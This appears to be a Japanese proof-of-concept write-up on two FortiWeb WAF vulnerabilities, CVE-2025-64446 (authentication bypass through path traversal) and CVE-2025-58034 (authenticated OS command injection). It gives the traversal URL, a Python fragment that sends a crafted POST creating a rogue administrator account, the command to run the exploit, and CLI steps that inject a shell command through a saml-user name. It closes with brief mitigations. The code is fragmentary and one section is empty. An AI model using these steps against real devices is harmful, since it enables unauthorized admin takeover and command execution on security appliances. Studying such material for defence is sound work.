FortiWeb エクスプロイトのシミュレーション (CVE-2025-64446 & CVE-2025-58034)

注意:

• この文書は学習およびセキュリティ研究のみを目的としています。
• 許可なくシステムへの攻撃に使用しないでください。

1. 概要

FortiWeb は、Web アプリケーションを保護するための Web Application Firewall (WAF) デバイスです。

2025年に、2つの深刻な脆弱性が発見されました:

• CVE-2025-64446 – Path Traversal による認証バイパス
• CVE-2025-58034 – OS コマンドインジェクション

2. CVE-2025-64446 の概要

例:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. CVE-2025-58034 の概要

4. 実証実験のプロセス (POC)

4.1. 環境の準備:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

これにより、ライブラリのバージョン競合を回避し、作業環境の安定性を確保して、システムへの影響を抑えることができます。

4.2 エクスプロイト

ペイロード

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Python3 でツールを実行します:

python3 exploit.py <IP_target>

• <IP_target>: ここでの IP アドレスは FortiWeb デバイスのホスト名です。

username と password を取得 -> ログインを実行

エクスプロイトに成功し、管理者権限を持つ新しいアカウントを作成できました。

4.3 アカウントログイン後の CVE-2025-58034 のエクスプロイト

新しく作成した管理者アカウントでログインに成功した後、攻撃者は特別に細工したリクエスト、または FortiWeb CLI のコマンドラインインターフェースを直接介して、認証済みのコマンドインジェクションの脆弱性を悪用できます:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb は設定文字列をエスケープして、saml-user の設定中に id コマンドを実行します。

5. 脆弱性を軽減するいくつかの方法

• FortiWeb をパッチ適用済みバージョンに更新する。
• 管理インターフェースへのアクセスを制限する。
• 管理インターフェースをインターネットに公開しない。
• 異常な管理者アカウントを確認する。

6. 追加の参考資料

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034